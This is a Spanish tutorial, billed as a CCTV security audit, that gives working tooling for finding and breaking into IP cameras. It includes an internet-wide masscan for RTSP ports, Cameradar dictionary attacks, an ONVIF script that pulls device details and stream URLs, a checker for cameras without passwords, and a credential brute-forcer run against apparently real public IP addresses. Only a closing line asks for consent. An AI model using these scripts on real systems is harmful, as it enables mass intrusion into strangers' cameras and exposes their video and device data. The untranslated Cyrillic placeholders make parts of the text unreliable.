Cómo hacer una auditoría de ciberseguridad de una red de cámaras IP. Tutorial de pentesting de sistemas CCTV

La seguridad de las cámaras conectadas a Internet sigue siendo un tema poco explorado. Acorde a especialistas en auditoría de sistemas del Instituto Internacional de Seguridad Cibernética (IICS), una antigua aplicación de Windows conocida como ONVIF Device Manager puede encontrar una cámara de seguridad en cuestión de segundos e incluso acceder a la transmisión debido a las deficientes medidas de seguridad incluidas en estos productos.

En esta ocasión habremos de familiarizaremos con el programa el uso del protocolo ONVIF en conjunto con una herramienta de escaneo llamada Cameradar con el fin de auditar la seguridad de las cámaras IP.

Usando Cameradar podremos encontrar múltiples detalles sobre estos dispositivos, incluyendo el nombre del fabricante, listas de proveedores, entre otros. Si las cámaras analizadas son vulnerables al protocolo ONVIF, los expertos en auditoría de sistemas mencionan que es posible averiguar la dirección MAC, fundamental para reforzar la seguridad del dispositivo o bien para desplegar tácticas de hacking.

¿Qué es RTSP?

El Protocolo de Transmisión en Tiempo Real (RTSP) es un mecanismo usado por los sistemas que operan con datos multimedia que permite controlar de forma remota el flujo de datos desde el servidor, proporcionando la capacidad de ejecutar comandos para controlar la transmisión de un sistema CCTV.

Acorde a los expertos en auditoría de sistemas, el protocolo RTSP no realiza compresión ni define el método de encapsulación de medios ni los protocolos de transporte, por lo que la transmisión de datos multimedia no es en sí misma parte del protocolo. La mayoría de los servidores RTSP utilizan un protocolo de transporte en tiempo real estándar para esto. El protocolo no sólo se encuentra en cámaras IP, puesto que muchos otros dispositivos pueden usarlo para la transmisión de medios.

Para reproducir contenido multimedia vía RTSP, se requiere conocer la URL de origen y el nombre de usuario y contraseña, mencionan los expertos en auditoría de sistemas.

Ejemplo de dirección:

rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1

Algunos servidores RTSP están configurados para permitir el acceso a la transmisión multimedia sin uso de contraseña. La dirección URL de la transmisión no es estándar, los dispositivos la envían cuando se conectan después de la autorización. Por lo general RTSP se ejecuta en los puertos 554, 5554 y 8554.

Ataque de fuerza bruta en RTSP

Como se menciona arriba, el URI en el que está disponible la transmisión difiere de un dispositivo a otro. Es decir, si no tiene credenciales para la autenticación mediante el protocolo RTSP para obtener la ruta (URL) del streaming, tendrá que buscarla utilizando métodos de fuerza bruta.

Puede consultar la variedad de direcciones en https://www.ispyconnect.com/sources.aspx. Como se indica en la descripción, Cameradar puede hackear cámaras RTSP conectadas a un sistema CCTV. Entre las funciones de esta herramienta los expertos en auditoría de sistemas destacan:

  • Detección de hosts RTSP abiertos
  • Detección del modelo de dispositivo analizado
  • Lanzamiento de ataques de diccionario automáticos para encontrar transmisiones
  • Lanzamiento ataques de diccionario automáticos para encontrar el nombre de usuario y la contraseña de un dispositivo
  • Elaboración de informes completos sobre los resultados

Para instalar el programa, consulte la página https://kali.tools/?p=6132.

El proceso de lanzamiento es muy sencillo:

cameradar -t ХОСТ

La opción “-t, –targets” establece el objetivo, este puede ser un archivo con una lista de hosts o rangos de red, una dirección IP, un rango de IP, una subred o una combinación de ambos. Ejemplo: –targets = “192.168.1.72,192.168.1.74”.

Este programa puede hacer múltiples solicitudes y, si algunas fallaran, estos errores se muestran en la pantalla del usuario, como resultado de lo cual la salida se vuelve desordenada, por lo que los expertos recomiendan agregar “2> / dev / null” al comando.

Ejemplos de lanzamientos exitosos:

cameradar -t 201.191.170.250 2>/dev/null
cameradar -t 98.124.38.218 2>/dev/null

A pesar de que en ocasiones Cameradar funciona de forma imprevista, los resultados erráticos tienen que ver con las peculiaridades de las propias cámaras, que son dispositivos plagados de errores de seguridad. Además, los expertos en auditoría de sistemas mencionan que este es un programa demasiado lento, aunque no hay muchas alternativas disponibles. Debido a estas limitantes, no se recomienda ingresar grandes rangos de redes en Cameradar, ya que un error en la herramienta podría conducir a la pérdida de todos los resultados.

Puede escanear la red para recopilar objetivos de Cameradar, por ejemplo, utilizando Masscan:

sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts --rate 200 -p 554,5554,8554 --output-filename cameras.xml

Los siguientes comandos crean el directorio “camera” y filtran todas las direcciones IP de los archivos cameras * .xml en el archivo camera/hosts.txt.

mkdir camera
cat cameras*.xml | grep -o -E '[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}' | sort | uniq > camera/hosts.txt

Se cuenta el número de direcciones IP en las que al menos un puerto 554, 5554 y 855 está abierto.

cat camera/hosts.txt | wc -l
10955

Cameradar consume pocos recursos del sistema, por lo que se pueden escanear múltiples transmisiones usando Interlace:

cd camera
mkdir results
interlace -tL ./hosts.txt -threads 20 -c "cameradar -t _target_ 2>/dev/null >results/_target_-cameradar.txt" –v

Si hay demasiados hosts en el archivo hosts.txt, puede dividirlos en archivos usando el comando split:

split -l 1000 hosts.txt

Para encontrar resultados exitosos, puede usar los siguientes comandos:

cd results
cat * | grep -E -H 'Successful' *
cat ` grep -E -H 'require' * | grep -o -E '^[a-z0-9.-]+'`
cat * | grep -E -H 'Device RTSP URL' *

cat * | grep -E -H ' ✔' *

Este comando enumerará los modelos:

cat * | grep 'Device model' | sort | uniq

Hackear cámaras a través del protocolo ONVIF

Lo siguiente es entender el protocolo HNAP,  utilizado para controlar una gran variedad de dispositivos de red. Debido a errores de implementación, algunos dispositivos aceptan comandos sin contraseña a través de este protocolo. Este escenario aplica con las cámaras IP, ya que hay modelos que se controlan mediante el protocolo ONVIF, y en este protocolo el control también se realiza enviando texto simple en formato XML.

Además, si no se ha encontrado HNAP en nuevos enrutadores durante mucho tiempo, se sigue utilizando ONVIF, por lo que el programa ONVIF Device Manager puede acceder a algunas transmisiones.

Contenido del archivo GetCapabilities.xml:

<s:Envelope
    xmlns:s="http://www.w3.org/2003/05/soap-envelope">
    <s:Body
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <GetCapabilities
            xmlns="http://www.onvif.org/ver10/device/wsdl">
            <Category>
                All
                </Category>
            </GetCapabilities>
        </s:Body>
    </s:Envelope>

Puede usar cURL para enviar la solicitud:

curl -s 192.168.0.167:8899/onvif/device_service -d @GetCapabilities.xml | grep -i -E 'GetCapabilitiesResponse' | xmllint --format -

Si recibe una salida larga en formato XML, entonces este dispositivo es compatible con el protocolo ONVIF.

ONVIF no tiene un puerto estándar, generalmente este protocolo se encuentra en los puertos 8899, 80, 8080, 5000, 6688. 

El proceso de obtención de la URL se lleva a cabo en varias etapas, por lo que para no interferir con los archivos cURL y .xml, es mejor usar una solución efectiva, mencionan los expertos en auditoría de sistemas. Lo primero que se encuentra es python-onvif: Implementación del cliente ONVIF en Python.

Para instalar, sólo ejecute:

sudo pip3 install --upgrade onvif_zeep

Cree un archivo extractor.py con el siguiente contenido:

import sys
from onvif import ONVIFCamera
 
if len(sys.argv) < 4:
    user = ''
else:
    user = sys.argv[3]
 
if len(sys.argv) < 5:
    password = ''
else:
    password = sys.argv[4]      
 
mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')
 
resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))
 
resp = mycam.devicemgmt.GetNetworkInterfaces()
print (str(resp))
 
media_service = mycam.create_media_service()
profiles = media_service.GetProfiles()
token = profiles[0].token
 
mycam = media_service.create_type('GetStreamUri')
mycam.ProfileToken = token
mycam.StreamSetup = {'Stream': 'RTP-Unicast', 'Transport': {'Protocol': 'RTSP'}}
print(media_service.GetStreamUri(mycam))

Ponga atención a la siguiente línea:

/usr/local/lib/python3.9/site-packages/wsdl/

Necesita reemplazarla con su propio valor. Esta línea funcionará bien para Kali Linux. En distribuciones BlackArch o Arch Linux, debe usar la siguiente línea:

/usr/lib/python3.9/site-packages/wsdl/

Cuando cambia la versión de Python, la línea también puede cambiar. La ruta se puede encontrar mediante el siguiente algoritmo:

sudo updatedb # Update file information
locate accesscontrol.wsdl # We are looking for a file that is located in the desired directory

Por ejemplo:

/usr/local/lib/python3.9/site-packages/wsdl/accesscontrol.wsdl

Tomamos toda la línea excepto el nombre del archivo, es decir, /usr/local/lib/python3.9/site-packages/wsdl/.

Se ejecuta de la siguiente forma:

python3 extractor.py ХОСТ ПОРТ

El script realiza tres solicitudes independientes y muestra tres grupos de datos: información del dispositivo, interfaces de red y flujo de medios.

Ejemplo de lanzamiento:

python3 extractor.py 118.39.210.69 80

Ejemplo de salida:

{
    'Manufacturer': 'BOSCH',
    'Model': 'AUTODOME IP starlight 7000 HD',
    'FirmwareVersion': '25500593',
    'SerialNumber': '044123455',
    'HardwareId': 'F0004D43'
}
[{
    'Enabled': True,
    'Info': {
        'Name': 'Network Interface 1',
        'HwAddress': '00-07-5f-8b-5d-2b',
        'MTU': 1514
    },
    'Link': {
        'AdminSettings': {
            'AutoNegotiation': True,
            'Speed': 100,
            'Duplex': 'Full'
        },
        'OperSettings': {
            'AutoNegotiation': True,
            'Speed': 100,
            'Duplex': 'Full'
        },
        'InterfaceType': 6
    },
    'IPv4': {
        'Enabled': True,
        'Config': {
            'Manual': [],
            'LinkLocal': None,
            'FromDHCP': {
                'Address': '118.39.210.69',
                'PrefixLength': 24
            },
            'DHCP': True,
            '_value_1': None,
            '_attr_1': None
        }
    },
    'IPv6': None,
    'Extension': None,
    'token': '1',
    '_attr_1': {
}
}]
{
    'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&amp;line=1&amp;inst=1',
    'InvalidAfterConnect': False,
    'InvalidAfterReboot': True,
    'Timeout': datetime.timedelta(0),
    '_value_1': None,
    '_attr_1': None
}

Fabricante, dirección MAC, URI de video:

'Manufacturer': 'BOSCH',
    'HwAddress': '00-07-5f-8b-5d-2b',
'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&amp;line=1&amp;inst=1',

Cabe señalar que el URI generalmente indica la dirección IP local. A veces, puede faltar un puerto en el URI (siempre para el puerto 80, a veces para otros puertos), mencionan los expertos en auditoría de sistemas.

Buscar cámaras sin contraseña en ONVIF

Para automatizar el proceso de identificación de cámaras que no tienen una contraseña establecida para el control de ONVIF, el siguiente script puede ser muy útil:

Archivo Checker.sh:

#!/bin/bash
 
line=$1
 
GetCapabilities=`cat <<_EOF_
    <s:Envelope
        xmlns:s="http://www.w3.org/2003/05/soap-envelope">
        <s:Body
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <GetCapabilities
                xmlns="http://www.onvif.org/ver10/device/wsdl">
                <Category>
                    All
                    </Category>
                </GetCapabilities>
            </s:Body>
        </s:Envelope>
_EOF_`
 
result=`timeout 5 curl -s $line:8899/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result2=`timeout 5 curl -s $line:80/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result3=`timeout 5 curl -s $line:8080/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result4=`timeout 5 curl -s $line:5000/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result5=`timeout 5 curl -s $line:6688/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
 
if [ "$result" ]; then
    echo "Found: $line:8899";
    response=`python extractor.py $line 8899 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
    if [ "$response" ]; then
        echo "$response" > results/$line.txt
    fi
fi
 
if [ "$result2" ]; then
    echo "Found: $line:80";
    response=`python extractor.py $line 80 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
    if [ "$response" ]; then
        echo "$response" > results/$line.txt
    fi
fi
 
if [ "$result3" ]; then
    echo "Found: $line:8080";
    response=`python extractor.py $line 8080 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
    if [ "$response" ]; then
        echo "$response" > results/$line.txt
    fi
fi
     
if [ "$result4" ]; then
    echo "Found: $line:5000";
    response=`python extractor.py $line 5000 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
    if [ "$response" ]; then
        echo "$response" > results/$line.txt
    fi
fi
 
if [ "$result5" ]; then
    echo "Found: $line:6688";
    response=`python extractor.py $line 6688 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
    if [ "$response" ]; then
        echo "$response" > results/$line.txt
    fi
fi

En la misma carpeta donde se aloja checker.sh, también debe ubicarse el archivo extractor.py. También se crea una carpeta de “resultados” para guardar los informes.

Se ejecuta de la siguiente manera:

bash checker.sh IP_АДРЕС

Este script verificará cinco puertos para ver si el servicio de protocolo ONVIF se está ejecutando. De ser así, la secuencia de comandos intentará obtener información del dispositivo mediante extractor.py. Si este paso es exitoso, los datos recibidos se guardarán en la carpeta “resultados”. El script se puede ejecutar para probar un solo host o para probar varios en varios subprocesos. Un ejemplo en el que las direcciones IP se toman del archivo hosts.txt y se inicia una verificación de 20 subprocesos:

parallel -j20 -a hosts.txt 'bash checker.sh {1}'

Un ejemplo más:

parallel -j200 'bash checker.sh 172.{3}.{1}.{2}' ::: {1..255} ::: {1..255} ::: {16..31}

Para encontrar resultados exitosos, puede usar los comandos:

cd results
cat * | grep -E -H -i 'Uri' *
cat * | grep -E -H 'HwAddress' *
cat * | grep -E -H 'Manufacturer' *

Este comando enumerará los modelos:

cat * | grep 'Model' | sort | uniq

Ataques de fuerza bruta a través de ONVIF

Para algunos hosts, el script extractor.py dará errores similares a los siguientes:

zeep.exceptions.Fault: Sender not Authorized
During handling of the above exception, another exception occurred:
onvif.exceptions.ONVIFError: Unknown error: Sender not Authorized

Estos scripts significan que un nombre de usuario y una contraseña vacíos no son adecuados y debe proporcionar credenciales válidas.

Con esto, puede escribir scripts para usar fuerza bruta en las credenciales de las cámaras IP. La ventaja de este método sobre Cameradar es que no es necesario buscar el URI del flujo de medios.

Cree un archivo bruteforcer.py y copie el siguiente código:

import sys
from onvif import ONVIFCamera
 
if len(sys.argv) < 4:
    user = ''
else:
    user = sys.argv[3]
 
if len(sys.argv) < 5:
    password = ''
else:
    password = sys.argv[4]      
 
mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')
 
resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

De hecho, esta es una versión simplificada del script extractor.py: para comprender que las credenciales son incorrectas, no necesitamos hacer tres solicitudes, una es suficiente.

Ejemplo de lanzamiento:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ

Si agregamos “2> / dev / null” al comando, no veremos un error; en caso de autenticación exitosa, solo se mostrarán los datos del dispositivo:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ 2>/dev/null

Un ejemplo de inicio de sesión y contraseña por fuerza bruta de una cámara IP que utiliza Parallel:

parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 103.96.7.96 80 2>/dev/null {1} {2}'

Conclusión

El protocolo ONVIF le permite no solo ver información sobre las propiedades de la cámara, sino también controlarla a voluntad. Recuerde que este tutorial fue elaborado con fines didácticos, por lo que no deberá emplear estas herramientas sin consentimiento previo de los usuarios involucrados.